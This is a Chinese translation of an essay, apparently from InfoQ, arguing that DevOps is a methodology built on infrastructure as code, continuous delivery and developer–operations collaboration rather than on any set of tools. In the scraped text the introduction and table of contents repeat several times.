最近我阅读了很多有关DevOps的文章，其中一些非常有趣，然而一些内容也很欠考虑。貌似很多人越来越坚定地在DevOps与chef、puppet或Docker容器的熟练运用方面划了等号。对此我有不同看法。DevOps的范畴远远超过puppet或Docker等工具。

这样的看法甚至让我感觉有些气愤。DevOps在我看来极为重要，过去15年来，我一直在大型机构，主要是大型金融机构中从事工程业务。DevOps是一种非常重要的方法论，该方法将解决一些最大型问题的基本原则和实践恰如其分地融为一体，很好地解决了此类机构的软件开发项目中一种最令人感觉悲凉的失败要素：开发者和运维人员之间的混乱之墙。

请不要误会我的这种观点，除了某些XP实践，大部分此类大型机构对敏捷开发方法论的运用还有很长的路要走，同时还有很多其他原因会导致软件开发项目的失败或延误。
 
但在我看来，混乱之墙目前依然是他们所面临的最令人沮丧、最浪费时间、同时也相当愚蠢的问题。

与其独自生闷气，我觉得不如说点更实在的东西，写一篇尽可能精准的文章，向大家介绍DevOps到底是什么，能为我们带来什么。长话短说，DevOps并不是某一套工具。DevOps是一种方法论，其中包含一系列基本原则和实践，仅此而已。而所用的工具（或者说“工具链”吧，毕竟用于为这些实践提供支持的工具集有着极高的扩展性）只是为了对这样的实践提供支持。
 
最终来说，这些工具本身并不重要。相比两年前，目前的DevOps工具链已经产生了翻天覆地的变化，可想而知，两年后还会产生更大的差异。不过这并不重要。重要的是能够合理地理解这些基本原则和实践。
 本文并不准备介绍某些工具链，甚至完全不会提到这些工具。网上讨论DevOps工具链的文章已经太多了。我想在本文中谈谈最基本的原则和实践，它们的主要目的，毕竟这些才是对我而言最重要的。

DevOps是一种方法论，归纳总结了面临独一无二的机遇和强有力需求的网络巨头们，结合自身业务本质构思出全新工作方式的过程中所采用的实践，而他们的业务需求也很直接：以史无前例的节奏对自己的系统进行演进，有时候可能还需要以天为单位对系统或业务进行扩展。

虽然DevOps对初创公司来说很明显是不可或缺的，但我认为那些有着庞大的老式IT部门的大企业才是能从这些基本原则和实践中获得最大收益的。本文将试图解释得出这个结论的原因和实现方法。

本文的部分内容已发布为Slideshare演示幻灯片，可在这里浏览：http://www.slideshare.net/JrmeKehrli/devops-explained-72091158​  

目录






1. 简介​

DevOps所关注的不是工具本身，也不是对chef或Docker的掌握程度。DevOps是一种方法论，是一系列可以帮助开发者和运维人员在实现各自目标（Goal）的前提下，向自己的客户或用户交付最大化价值及最高质量成果的基本原则和实践。

开发者和运维人员之间最大的问题在于：虽然都是企业中大型IT部门不可或缺的，但他们有着截然不同的目的（Objective）。




开发者和运维人员之间目的上的差异就叫做混乱之墙。下文会介绍这个概念的准确定义，以及为什么我认为这种状况很严峻并且很糟糕。

DevOps是一种融合了一系列基本原则和实践的方法论（并从这些实践中派生出了各种工具），意在帮助这些人员向着一个统一的共同目的努力：尽可能为公司提供更多价值。

令人惊奇的是，这个问题竟然有一个非常简单的“银子弹”：让生产端变得敏捷起来！

而这恰恰正是DevOps所要达成的唯一目标！

但在进一步讨论这一点之前，首先需要谈谈其他几件事。
 
1.1 管理信条
 
喜欢 | 作者 Jerome Kehrli ，译者 大愚若智 发布于 2017年4月24日. 估计阅读时间: 1 分钟 | 智能化运维、Serverless、DevOps......2017年有哪些最新运维技术趋势？CNUTCon即将为你揭秘!1 讨论分享到：微博微信FacebookTwitter有道云笔记邮件分享
稍后阅读
我的阅读清单

最近我阅读了很多有关DevOps的文章，其中一些非常有趣，然而一些内容也很欠考虑。貌似很多人越来越坚定地在DevOps与chef、puppet或Docker容器的熟练运用方面划了等号。对此我有不同看法。DevOps的范畴远远超过puppet或Docker等工具。

这样的看法甚至让我感觉有些气愤。DevOps在我看来极为重要，过去15年来，我一直在大型机构，主要是大型金融机构中从事工程业务。DevOps是一种非常重要的方法论，该方法将解决一些最大型问题的基本原则和实践恰如其分地融为一体，很好地解决了此类机构的软件开发项目中一种最令人感觉悲凉的失败要素：开发者和运维人员之间的混乱之墙。

请不要误会我的这种观点，除了某些XP实践，大部分此类大型机构对敏捷开发方法论的运用还有很长的路要走，同时还有很多其他原因会导致软件开发项目的失败或延误。

相关厂商内容

聊聊容器编排与管理的挑战
智能化运维技术详解

机器学习模型训练的Kubernetes实践
京东物流系统自动化运维平台技术揭密
基于资产配置业务场景下的全链路监控平台

相关赞助商

CNUTCon全球运维技术大会，9月10日-9月11日，上海·光大会展中心大酒店，精彩内容抢先看

但在我看来，混乱之墙目前依然是他们所面临的最令人沮丧、最浪费时间、同时也相当愚蠢的问题。

与其独自生闷气，我觉得不如说点更实在的东西，写一篇尽可能精准的文章，向大家介绍DevOps到底是什么，能为我们带来什么。长话短说，DevOps并不是某一套工具。DevOps是一种方法论，其中包含一系列基本原则和实践，仅此而已。而所用的工具（或者说“工具链”吧，毕竟用于为这些实践提供支持的工具集有着极高的扩展性）只是为了对这样的实践提供支持。

最终来说，这些工具本身并不重要。相比两年前，目前的DevOps工具链已经产生了翻天覆地的变化，可想而知，两年后还会产生更大的差异。不过这并不重要。重要的是能够合理地理解这些基本原则和实践。

本文并不准备介绍某些工具链，甚至完全不会提到这些工具。网上讨论DevOps工具链的文章已经太多了。我想在本文中谈谈最基本的原则和实践，它们的主要目的，毕竟这些才是对我而言最重要的。

DevOps是一种方法论，归纳总结了面临独一无二的机遇和强有力需求的网络巨头们，结合自身业务本质构思出全新工作方式的过程中所采用的实践，而他们的业务需求也很直接：以史无前例的节奏对自己的系统进行演进，有时候可能还需要以天为单位对系统或业务进行扩展。

虽然DevOps对初创公司来说很明显是不可或缺的，但我认为那些有着庞大的老式IT部门的大企业才是能从这些基本原则和实践中获得最大收益的。本文将试图解释得出这个结论的原因和实现方法。

本文的部分内容已发布为Slideshare演示幻灯片，可在这里浏览：http://www.slideshare.net/JrmeKehrli/devops-explained-72091158

目录1. 简介 1.1 管理信条 1.2 一个典型的IT组织 1.3 运维人员测挫败感 1.4 基础架构自动化 1.5 DevOps：仅此一次，一颗神奇的银子弹 2. 基础架构即代码 2.1 概述 2.2 DevOps工具链 2.3 收益 3. 持续交付 3.1 从实践中学习 3.2 自动化 3.3 更频繁的部署 3.4 持续交付的前提需求 3.5 零停机部署 4. 协作 4.1 混乱之墙 4.2 软件开发流程 4.3 共享工具 4.4 协同工作 5. 结论1. 简介

DevOps所关注的不是工具本身，也不是对chef或Docker的掌握程度。DevOps是一种方法论，是一系列可以帮助开发者和运维人员在实现各自目标（Goal）的前提下，向自己的客户或用户交付最大化价值及最高质量成果的基本原则和实践。

开发者和运维人员之间最大的问题在于：虽然都是企业中大型IT部门不可或缺的，但他们有着截然不同的目的（Objective）。

开发者和运维人员之间目的上的差异就叫做混乱之墙。下文会介绍这个概念的准确定义，以及为什么我认为这种状况很严峻并且很糟糕。

DevOps是一种融合了一系列基本原则和实践的方法论（并从这些实践中派生出了各种工具），意在帮助这些人员向着一个统一的共同目的努力：尽可能为公司提供更多价值。

令人惊奇的是，这个问题竟然有一个非常简单的“银子弹”：让生产端变得敏捷起来！

而这恰恰正是DevOps所要达成的唯一目标！

但在进一步讨论这一点之前，首先需要谈谈其他几件事。

1.1 管理信条

IT管理这场战争的原动力到底是什么？换句话说，在软件开发项目中，管理工作首要的，以及最重要的目的是什么？

有什么想法吗？

我来提供一个线索吧：在建立一家初创公司时，最重要的事情是什么？

当然是要加快上市时间（TTM）！

上市时间（即TTM）是指一件产品从最初的构思到最终可供用户使用或购买这一过程所需要的时间。对于产品很快会过时的行业，TTM是一个非常重要的概念。

在软件工程方面，所采用的方法、业务，以及具体技术几乎每年都会变化，因而TTM就成了一个非常重要的KPI（关键绩效指标）。

TTM通常也会被叫做前置时间（Lead Time）。

第一个问题在于，（很多人认为）在开发过程中TTM和产品质量是两个对立的属性。在下文可以看到，改善质量（进而提高稳定性）是运维人员的目的，而开发者的目的在于降低前置时间（进而提高TTM）。

请容我来解释一下。
IT组织或部门通常会通过两个关键的KPI进行评估：软件本身的质量，因而需要尽可能减少缺陷的数量；此外还有TTM，因而需要将业务构想（通常由业务用户提供）变为最终成果，并以尽可能快的速度提供给用户或客户。

这里的问题在于，大部分情况下这两个截然不同的目的是由两个不同团队提供支持的：负责构建软件的开发者，以及负责运行软件的运维人员。
 
1.2 一个典型的IT组织
在组织内部负责管理重要IT部门的典型IT组织通常看起来是这样的：




主要由于历史的原因（大部分运维人员来自硬件和电信业务领域），运维人员和开发者分属不同的组织结构分支。开发者属于研发部门，而运维人员大部分时候属于基础架构部门（或专门的运维部门）。

别忘了，他们有着不同的目的：




此外作为旁注，这两个团队有时候会使用不同的预算来运营。开发团队使用构建（Build）预算，运维团队使用运营（Run）预算。不同的预算，对控制权越来越高的需求，以及企业IT成本的缩水，这些因素结合在一起会进一步放大两个团队各自目的的对立性。

（依本人愚见，时至今日，随着人与人之间无时无刻随时随地进行的交互，以及由不同目的推动着企业和社会进行数字化转型，IT预算方面古老的“规划/构建/运行”框架已经不那么合理了，不过这又是另一回事了。）
 
1.3 运维人员测挫败感
接下来看看运维人员，一起看看典型的运维团队把大部分时间都花在哪里了：




来源：Study from Deepak Patil [Microsoft Global Foundation Services] in 2006, via James Hamilton [Amazon Web Services 
 
生产团队有将近一半（47%）的时间花在了与部署有关的工作中：
执行实际的部署工作，或修复与部署工作有关的问题
这样的KPI其实相当疯狂，但实际上我们早就应该采纳。实际上早在40年前，计算机科学的“原始时代”就已涌现出运维团队，当时计算机主要运用在工业界，运维人员需要手工运行大量命令来执行自己的任务。为了履行职责，他们已经习惯于按照清单运行各种各样的命令或手工流程。

突然有一天他们终于意识到自己“总在做着相同的事情”，然而长达四十多年的工作过程中却几乎没人考虑过变革。

考虑到这一点你会发现，实在是太疯狂了。平均来说，运维人员将近一半的时间都在处理与部署有关的任务！

为了改变这种状况，必须考虑到两个最关键的需求：
通过自动化部署将目前这种手工任务所需的时间减少31%。通过产业化措施（类似于通过XP和敏捷实现的软件开发产业化）将需要处理的与这些部署有关的问题减少16%。
 
1.4 基础架构自动化
在这方面也有一个相当富有启发性的统计结果：

以手工操作的数量所表示的成功部署概率。




这些统计告诉我们：
只需手工运行5条命令的情况下，成功部署的概率就已跌至86%。如需手工运行55条命令，成功部署的概率将跌至22%。如需手工运行100条命令，成功部署的概率将趋近于0（仅2%）！
成功部署意味着软件能够按照预期在生产环境中运行。未能成功部署意味着有东西出错，可能需要进行必要的分析才能了解部署过程中哪里出错，是否需要应用某种补丁，或需要修改某些配置。

因此让这一切实现自动化并不惜一切代价避免手工操作似乎是个好主意，对吧？

那么行业里这方面的现状是怎样的：




（说实话，这个统计信息比较老了，是2013年的结果，相信现在的结果会有所不同）

然而这也可以让我们明确的知道，在基础架构自动化方面我们还有多远的路要走，并且DevOps的基本原则和实践依然是那么的重要。

网络巨头们当然会通过新的方法和实践及时满足自己的需求，他们早已开始构建自己的工程业务，而正是他们所确立的实践逐渐衍生出当今我们所熟悉的DevOps。

看看这些网络巨头们在这方面目前所处的位置吧，举几个例子：
Facebook有数千名开发和运维人员，成千上万台服务器。平均来说一位运维人员负责500台服务器（还认为自动化是可选的吗？）他们每天部署两次（环式部署，Deployment ring的概念）。Flickr每天部署10次。Netflix明确针对失败进行各种设计！他们的软件按照设计从最底层即可容忍系统失败，他们会在生产环境中进行全面的测试：每天通过随机关闭虚拟机的方式在生产环境中执行65000次失败测试…… 并确保这种情况下一切依然可以正常工作。
他们这种做法秘密何在？
 
 
1.5 DevOps：仅此一次，一颗神奇的银子弹
他们的秘密很简单：将敏捷扩展至生产端：
 




喜欢 | 作者 Jerome Kehrli ，译者 大愚若智 发布于 2017年4月24日. 估计阅读时间: 1 分钟 | 智能化运维、Serverless、DevOps......2017年有哪些最新运维技术趋势？CNUTCon即将为你揭秘!1 讨论分享到：微博微信FacebookTwitter有道云笔记邮件分享
稍后阅读
我的阅读清单

最近我阅读了很多有关DevOps的文章，其中一些非常有趣，然而一些内容也很欠考虑。貌似很多人越来越坚定地在DevOps与chef、puppet或Docker容器的熟练运用方面划了等号。对此我有不同看法。DevOps的范畴远远超过puppet或Docker等工具。

这样的看法甚至让我感觉有些气愤。DevOps在我看来极为重要，过去15年来，我一直在大型机构，主要是大型金融机构中从事工程业务。DevOps是一种非常重要的方法论，该方法将解决一些最大型问题的基本原则和实践恰如其分地融为一体，很好地解决了此类机构的软件开发项目中一种最令人感觉悲凉的失败要素：开发者和运维人员之间的混乱之墙。

请不要误会我的这种观点，除了某些XP实践，大部分此类大型机构对敏捷开发方法论的运用还有很长的路要走，同时还有很多其他原因会导致软件开发项目的失败或延误。

相关厂商内容

聊聊容器编排与管理的挑战
智能化运维技术详解

机器学习模型训练的Kubernetes实践
京东物流系统自动化运维平台技术揭密
基于资产配置业务场景下的全链路监控平台

相关赞助商

CNUTCon全球运维技术大会，9月10日-9月11日，上海·光大会展中心大酒店，精彩内容抢先看

但在我看来，混乱之墙目前依然是他们所面临的最令人沮丧、最浪费时间、同时也相当愚蠢的问题。

与其独自生闷气，我觉得不如说点更实在的东西，写一篇尽可能精准的文章，向大家介绍DevOps到底是什么，能为我们带来什么。长话短说，DevOps并不是某一套工具。DevOps是一种方法论，其中包含一系列基本原则和实践，仅此而已。而所用的工具（或者说“工具链”吧，毕竟用于为这些实践提供支持的工具集有着极高的扩展性）只是为了对这样的实践提供支持。

最终来说，这些工具本身并不重要。相比两年前，目前的DevOps工具链已经产生了翻天覆地的变化，可想而知，两年后还会产生更大的差异。不过这并不重要。重要的是能够合理地理解这些基本原则和实践。

本文并不准备介绍某些工具链，甚至完全不会提到这些工具。网上讨论DevOps工具链的文章已经太多了。我想在本文中谈谈最基本的原则和实践，它们的主要目的，毕竟这些才是对我而言最重要的。

DevOps是一种方法论，归纳总结了面临独一无二的机遇和强有力需求的网络巨头们，结合自身业务本质构思出全新工作方式的过程中所采用的实践，而他们的业务需求也很直接：以史无前例的节奏对自己的系统进行演进，有时候可能还需要以天为单位对系统或业务进行扩展。

虽然DevOps对初创公司来说很明显是不可或缺的，但我认为那些有着庞大的老式IT部门的大企业才是能从这些基本原则和实践中获得最大收益的。本文将试图解释得出这个结论的原因和实现方法。

本文的部分内容已发布为Slideshare演示幻灯片，可在这里浏览：http://www.slideshare.net/JrmeKehrli/devops-explained-72091158

目录1. 简介 1.1 管理信条 1.2 一个典型的IT组织 1.3 运维人员测挫败感 1.4 基础架构自动化 1.5 DevOps：仅此一次，一颗神奇的银子弹 2. 基础架构即代码 2.1 概述 2.2 DevOps工具链 2.3 收益 3. 持续交付 3.1 从实践中学习 3.2 自动化 3.3 更频繁的部署 3.4 持续交付的前提需求 3.5 零停机部署 4. 协作 4.1 混乱之墙 4.2 软件开发流程 4.3 共享工具 4.4 协同工作 5. 结论1. 简介

DevOps所关注的不是工具本身，也不是对chef或Docker的掌握程度。DevOps是一种方法论，是一系列可以帮助开发者和运维人员在实现各自目标（Goal）的前提下，向自己的客户或用户交付最大化价值及最高质量成果的基本原则和实践。

开发者和运维人员之间最大的问题在于：虽然都是企业中大型IT部门不可或缺的，但他们有着截然不同的目的（Objective）。

开发者和运维人员之间目的上的差异就叫做混乱之墙。下文会介绍这个概念的准确定义，以及为什么我认为这种状况很严峻并且很糟糕。

DevOps是一种融合了一系列基本原则和实践的方法论（并从这些实践中派生出了各种工具），意在帮助这些人员向着一个统一的共同目的努力：尽可能为公司提供更多价值。

令人惊奇的是，这个问题竟然有一个非常简单的“银子弹”：让生产端变得敏捷起来！

而这恰恰正是DevOps所要达成的唯一目标！

但在进一步讨论这一点之前，首先需要谈谈其他几件事。

1.1 管理信条

IT管理这场战争的原动力到底是什么？换句话说，在软件开发项目中，管理工作首要的，以及最重要的目的是什么？

有什么想法吗？

我来提供一个线索吧：在建立一家初创公司时，最重要的事情是什么？

当然是要加快上市时间（TTM）！

上市时间（即TTM）是指一件产品从最初的构思到最终可供用户使用或购买这一过程所需要的时间。对于产品很快会过时的行业，TTM是一个非常重要的概念。

在软件工程方面，所采用的方法、业务，以及具体技术几乎每年都会变化，因而TTM就成了一个非常重要的KPI（关键绩效指标）。

TTM通常也会被叫做前置时间（Lead Time）。

第一个问题在于，（很多人认为）在开发过程中TTM和产品质量是两个对立的属性。在下文可以看到，改善质量（进而提高稳定性）是运维人员的目的，而开发者的目的在于降低前置时间（进而提高TTM）。

请容我来解释一下。

IT组织或部门通常会通过两个关键的KPI进行评估：软件本身的质量，因而需要尽可能减少缺陷的数量；此外还有TTM，因而需要将业务构想（通常由业务用户提供）变为最终成果，并以尽可能快的速度提供给用户或客户。

这里的问题在于，大部分情况下这两个截然不同的目的是由两个不同团队提供支持的：负责构建软件的开发者，以及负责运行软件的运维人员。

1.2 一个典型的IT组织

在组织内部负责管理重要IT部门的典型IT组织通常看起来是这样的：

主要由于历史的原因（大部分运维人员来自硬件和电信业务领域），运维人员和开发者分属不同的组织结构分支。开发者属于研发部门，而运维人员大部分时候属于基础架构部门（或专门的运维部门）。

别忘了，他们有着不同的目的：

此外作为旁注，这两个团队有时候会使用不同的预算来运营。开发团队使用构建（Build）预算，运维团队使用运营（Run）预算。不同的预算，对控制权越来越高的需求，以及企业IT成本的缩水，这些因素结合在一起会进一步放大两个团队各自目的的对立性。

（依本人愚见，时至今日，随着人与人之间无时无刻随时随地进行的交互，以及由不同目的推动着企业和社会进行数字化转型，IT预算方面古老的“规划/构建/运行”框架已经不那么合理了，不过这又是另一回事了。）

1.3 运维人员测挫败感

接下来看看运维人员，一起看看典型的运维团队把大部分时间都花在哪里了：

（来源：Study from Deepak Patil [Microsoft Global Foundation Services] in 2006, via James Hamilton [Amazon Web Services]

生产团队有将近一半（47%）的时间花在了与部署有关的工作中：

执行实际的部署工作，或
修复与部署工作有关的问题

这样的KPI其实相当疯狂，但实际上我们早就应该采纳。实际上早在40年前，计算机科学的“原始时代”就已涌现出运维团队，当时计算机主要运用在工业界，运维人员需要手工运行大量命令来执行自己的任务。为了履行职责，他们已经习惯于按照清单运行各种各样的命令或手工流程。

突然有一天他们终于意识到自己“总在做着相同的事情”，然而长达四十多年的工作过程中却几乎没人考虑过变革。

考虑到这一点你会发现，实在是太疯狂了。平均来说，运维人员将近一半的时间都在处理与部署有关的任务！

为了改变这种状况，必须考虑到两个最关键的需求：

通过自动化部署将目前这种手工任务所需的时间减少31%。
通过产业化措施（类似于通过XP和敏捷实现的软件开发产业化）将需要处理的与这些部署有关的问题减少16%。

1.4 基础架构自动化

在这方面也有一个相当富有启发性的统计结果：

以手工操作的数量所表示的成功部署概率。

这些统计告诉我们：

只需手工运行5条命令的情况下，成功部署的概率就已跌至86%。
如需手工运行55条命令，成功部署的概率将跌至22%。
如需手工运行100条命令，成功部署的概率将趋近于0（仅2%）！

成功部署意味着软件能够按照预期在生产环境中运行。未能成功部署意味着有东西出错，可能需要进行必要的分析才能了解部署过程中哪里出错，是否需要应用某种补丁，或需要修改某些配置。

因此让这一切实现自动化并不惜一切代价避免手工操作似乎是个好主意，对吧？

那么行业里这方面的现状是怎样的：

（来源：IT Ops & DevOps Productivity Report 2013 - Rebellabs ）

（说实话，这个统计信息比较老了，是2013年的结果，相信现在的结果会有所不同）

然而这也可以让我们明确的知道，在基础架构自动化方面我们还有多远的路要走，并且DevOps的基本原则和实践依然是那么的重要。

网络巨头们当然会通过新的方法和实践及时满足自己的需求，他们早已开始构建自己的工程业务，而正是他们所确立的实践逐渐衍生出当今我们所熟悉的DevOps。

看看这些网络巨头们在这方面目前所处的位置吧，举几个例子：

Facebook有数千名开发和运维人员，成千上万台服务器。平均来说一位运维人员负责500台服务器（还认为自动化是可选的吗？）他们每天部署两次（环式部署，Deployment ring的概念）。
Flickr每天部署10次。
Netflix明确针对失败进行各种设计！他们的软件按照设计从最底层即可容忍系统失败，他们会在生产环境中进行全面的测试：每天通过随机关闭虚拟机的方式在生产环境中执行65000次失败测试…… 并确保这种情况下一切依然可以正常工作。

他们这种做法秘密何在？

1.5 DevOps：仅此一次，一颗神奇的银子弹

他们的秘密很简单：将敏捷扩展至生产端：

DevOps的共存主要是为了扩展敏捷开发实践，进一步完善软件变更在构建、验证、部署、交付等阶段中的流动，同时通过软件应用程序的全面所有权予力跨职能团队完成从设计到生产支持等各环节的工作。

DevOps鼓励软件开发者和IT运维人员之间所进行的沟通、协作、集成和自动化，借此有助于改善双方在交付软件过程中的速度和质量。

DevOps团队更侧重于通过标准化开发环境和自动化交付流程改善交付工作的可预测性、效率、安全性，以及可维护性。理想情况下，DevOps可以为开发者提供更可控的生产环境，帮助他们更好地理解生产基础架构。

DevOps鼓励团队自主进行自己应用程序的构建、验证、交付和支持。
那么核心原则到底是什么？




下文将介绍最重要的三大基本原则。
 
2. 基础架构即代码
人总会犯错，因为人脑实在是不擅长处理重复性的任务，相比Shell脚本，人类的速度实在是太慢了。毕竟我们都是人类，因此有必要像处理代码那样考虑和处理有关基础架构的概念！

基础架构即代码（IaC）是大部分通用DevOps实践的前提要求，例如版本控制、代码审阅、持续集成、自动化测试。这一概念涉及计算基础架构（容器、虚拟机、物理机、软件安装等）的管理和供应，以及通过机器可处理的定义文件或脚本对其进行的配置，交互式配置工具和手工命令的使用已经不合时宜了。

这一原则对DevOps的重要性怎么强调都不为过，它可以真正将软件开发相关的实践应用给服务器和基础架构。

云计算使得复杂的IT部署可以继续效仿传统物理拓扑。我们可以相对轻松地对复杂虚拟网络、存储和服务器的构建实现自动化。服务器环境的方方面面，上至基础架构下至操作系统设置，均可编码并存储至版本控制仓库。
 
2.1 概述
以非常概括的方式来看，基础架构和运维所需实现的自动化程度可通过下图这种架构来表示：
 




上述架构图中作为示例的工具主要面向不同层的构建工作，实际上DevOps工具链的作用远不止如此。

我觉得在这里可以略微深入地谈谈DevOps的工具链了。
 
2.2 DevOps工具链
DevOps实际是一种文化上的变迁，代表了开发、运维、测试等环节之间的协作，因此DevOps工具是非常多种多样的，甚至可以由多种工具组成一个完整的DevOps工具链。此类工具可以应用于一种或多种类别，并可体现出软件开发和交付过程的不同阶段：
编码：代码开发和审阅，版本控制工具、代码合并工具构建：持续集成工具、构建状态统计工具测试：通过测试和结果确定绩效的工具打包：成品仓库、应用程序部署前暂存发布：变更管理、发布审批、发布自动化配置：基础架构配置和部署，基础架构即代码工具监视：应用程序性能监视、最终用户体验
虽然可用工具有很多，但其中一些环节是组织内部应用DevOps工具链不可或缺的。

诸如Docker（容器化）、Jenkins（持续集成）、Puppet（基础架构构建）、Vagrant（虚拟化平台）等常用、广泛使用的工具都是2016年的DevOps热门工具。
 
基础架构组件的版本控制、持续集成和自动化测试
 
基础架构的版本控制能力（而非基础架构的构建脚本或配置文件）及对其进行自动化测试的能力极其重要。

DevOps最终会将30年前软件工程领域所采用的同一套XP实践带至生产端。

此外基础架构元素应该能向软件交付物一样进行持续集成。
 
 
2.3 收益
DevOps的收益有很多，包括但不限于：
可重复性与可靠性：时至今日，构建生产用计算机只需要运行脚本或必要的puppet命令即可。通过恰当地使用Docker容器或Vagrant虚拟机，只需运行一条命令即可配置好包含操作系统层以及所需软件和配置的生产用计算机。当然，随着各种变更或软件开发、持续集成，并自动测试，这套构建脚本或机制也会进行持续集成。
最终幸亏有了XP或敏捷，我们在软件开发端所使用的同一套实践也能让运维端获益。
生产力：一键部署，一键供应，一键创建新环境……整个生产环境可以通过一条命令或一键点击的方式创建。这样的一条命令也许会运行长达数小时，但在这过程中运维人员可以从事其他更有趣的工作，而无需等待一条命令执行完毕后继续输入下一条命令，毕竟这样的过程有时候可能需要花费几天时间才能完成……恢复时间：一键点击即可恢复生产环境，就是这么简单。确保基础架构的同质：彻底避免运维人员每次构建环境或安装软件时最终获得的结果与预期有所差异，这是确保基础架构绝对同质（Homogeneous）并且可再现的唯一可行方法。以此为基础，通过对脚本或Puppet配置文件使用版本控制机制，我们甚至可以重建出与上周、上个月，或软件特定版本发布时完全一致的生产环境。维持整齐划一的标准：基础架构标准甚至可以不复存在，代码本身就是标准。让开发者自行完成大部分工作：如果开发者自己突然可以在自己的基础架构上一键点击重建生产环境，他们也就可以自行完成很多与生产环境有关的任务，例如更好地理解生产失败，提供更恰当的配置，实现部署脚本等。
这只是我个人感觉IaC可提供的部分收益，相信还有很多其他收益。
 
 
3. 持续交付
 
持续交付是一种可以帮助团队以更短的周期交付软件的方法，该方法确保了团队可以在任何时间发布出可靠的软件。该方法意在以更快速度更高频率进行软件的构建、测试和发布。

通过对生产环境中的应用程序进行更高频次的增量更新，这种方法有助于降低交付变更过程中涉及的成本、时间和风险。足够简单直接并且可重复的部署流程对持续交付而言至关重要。

注意：持续交付 ≠ 持续部署 - 有时候很多人会把持续交付误认为成持续部署。持续部署是指每个变更可以自动部署到生产环境。持续交付是指团队确保每个变更可以部署至生产环境，但也许并不需要实际部署，这通常可能是出于业务方面的原因。只有成功实现持续交付的前提下，才能进行持续部署。

持续交付的主要想法在于：
部署越频繁，对部署流程就会越熟悉，自动化机制就能获得更好的结果。如果同一件事每天需要执行3次，很快你将变的无比娴熟，但很快也会因为日复一日解决同样的问题而感到厌烦。部署越频繁，所部属的变更集就越微不足道，而这些微不足道的内容最有可能出错，甚至可能导致丢失对整个变更集的控制力。部署越频繁，TTR（修复／解决所需时间）指标就会越出色，从业务用户处获得有关功能的各类反馈的速度越快，作出改进以便完美满足对方需求的过程也会越简单（这方面TTR与TTM其实非常相似）。




但持续交付并不仅仅是尽可能频繁地构建可发布、生产就绪版本的软件产品那么简单。持续交付包含3个关键实践：
从实践中学习自动化更频繁的部署
 
3.1 从实践中学习
 
持续交付的关键在于要能从实践中学习。真理并不存在于开发团队中，而在于业务用户中。然而无论花多长时间，没人能真正清楚地表达自己的想法，或者将自己的想法用清晰的文档概括出来。也正是因此，敏捷方法论强调将功能提供给用户，并不惜一切代价从用户处获得尽可能多的反馈。

持续交付与持续部署类似，需要尽可能减少前置时间，这也是尽快从用户处获得“真理”的关键。

但真理绝对不会来自正规形式的用户反馈。我们绝不能尽信自己的用户或寄希望于通过正规形式的反馈了解用户。我们只能相信自己的度量。

痴迷于度量是精益创业（Lean Startup）活动中一个重要的概念，但这一概念对DevOps同样重要。我们应该度量一切！确定最恰当的度量指标可以让团队了解某种方法最终能否成功或失败，了解怎样做可以获得更好的结果，以及哪些最成功的做法同时也蕴含着一定的风险。为了帮助团队做出更明智的决策，在确定要衡量的指标时，一定要抱着“宁多勿少”的原则。

不需要“考虑”，只需要“知道”！“知道”的唯一方法就是度量，度量一切：响应时间、用户思考时间、展示次数、API调用次数、点击率等，但这些并非需要度量的全部。找出所有能让你更进一步了解用户对功能看法的度量指标，对所有这些指标进行度量！

这种方法可以表示为如下形式：




 
 
喜欢 | 作者 Jerome Kehrli ，译者 大愚若智 发布于 2017年4月24日. 估计阅读时间: 1 分钟 | 智能化运维、Serverless、DevOps......2017年有哪些最新运维技术趋势？CNUTCon即将为你揭秘!1 讨论分享到：微博微信FacebookTwitter有道云笔记邮件分享
稍后阅读
我的阅读清单

最近我阅读了很多有关DevOps的文章，其中一些非常有趣，然而一些内容也很欠考虑。貌似很多人越来越坚定地在DevOps与chef、puppet或Docker容器的熟练运用方面划了等号。对此我有不同看法。DevOps的范畴远远超过puppet或Docker等工具。

这样的看法甚至让我感觉有些气愤。DevOps在我看来极为重要，过去15年来，我一直在大型机构，主要是大型金融机构中从事工程业务。DevOps是一种非常重要的方法论，该方法将解决一些最大型问题的基本原则和实践恰如其分地融为一体，很好地解决了此类机构的软件开发项目中一种最令人感觉悲凉的失败要素：开发者和运维人员之间的混乱之墙。

请不要误会我的这种观点，除了某些XP实践，大部分此类大型机构对敏捷开发方法论的运用还有很长的路要走，同时还有很多其他原因会导致软件开发项目的失败或延误。

相关厂商内容

聊聊容器编排与管理的挑战
智能化运维技术详解

机器学习模型训练的Kubernetes实践
京东物流系统自动化运维平台技术揭密
基于资产配置业务场景下的全链路监控平台

相关赞助商

CNUTCon全球运维技术大会，9月10日-9月11日，上海·光大会展中心大酒店，精彩内容抢先看

但在我看来，混乱之墙目前依然是他们所面临的最令人沮丧、最浪费时间、同时也相当愚蠢的问题。

与其独自生闷气，我觉得不如说点更实在的东西，写一篇尽可能精准的文章，向大家介绍DevOps到底是什么，能为我们带来什么。长话短说，DevOps并不是某一套工具。DevOps是一种方法论，其中包含一系列基本原则和实践，仅此而已。而所用的工具（或者说“工具链”吧，毕竟用于为这些实践提供支持的工具集有着极高的扩展性）只是为了对这样的实践提供支持。

最终来说，这些工具本身并不重要。相比两年前，目前的DevOps工具链已经产生了翻天覆地的变化，可想而知，两年后还会产生更大的差异。不过这并不重要。重要的是能够合理地理解这些基本原则和实践。

本文并不准备介绍某些工具链，甚至完全不会提到这些工具。网上讨论DevOps工具链的文章已经太多了。我想在本文中谈谈最基本的原则和实践，它们的主要目的，毕竟这些才是对我而言最重要的。

DevOps是一种方法论，归纳总结了面临独一无二的机遇和强有力需求的网络巨头们，结合自身业务本质构思出全新工作方式的过程中所采用的实践，而他们的业务需求也很直接：以史无前例的节奏对自己的系统进行演进，有时候可能还需要以天为单位对系统或业务进行扩展。

虽然DevOps对初创公司来说很明显是不可或缺的，但我认为那些有着庞大的老式IT部门的大企业才是能从这些基本原则和实践中获得最大收益的。本文将试图解释得出这个结论的原因和实现方法。

本文的部分内容已发布为Slideshare演示幻灯片，可在这里浏览：http://www.slideshare.net/JrmeKehrli/devops-explained-72091158

目录1. 简介 1.1 管理信条 1.2 一个典型的IT组织 1.3 运维人员测挫败感 1.4 基础架构自动化 1.5 DevOps：仅此一次，一颗神奇的银子弹 2. 基础架构即代码 2.1 概述 2.2 DevOps工具链 2.3 收益 3. 持续交付 3.1 从实践中学习 3.2 自动化 3.3 更频繁的部署 3.4 持续交付的前提需求 3.5 零停机部署 4. 协作 4.1 混乱之墙 4.2 软件开发流程 4.3 共享工具 4.4 协同工作 5. 结论1. 简介

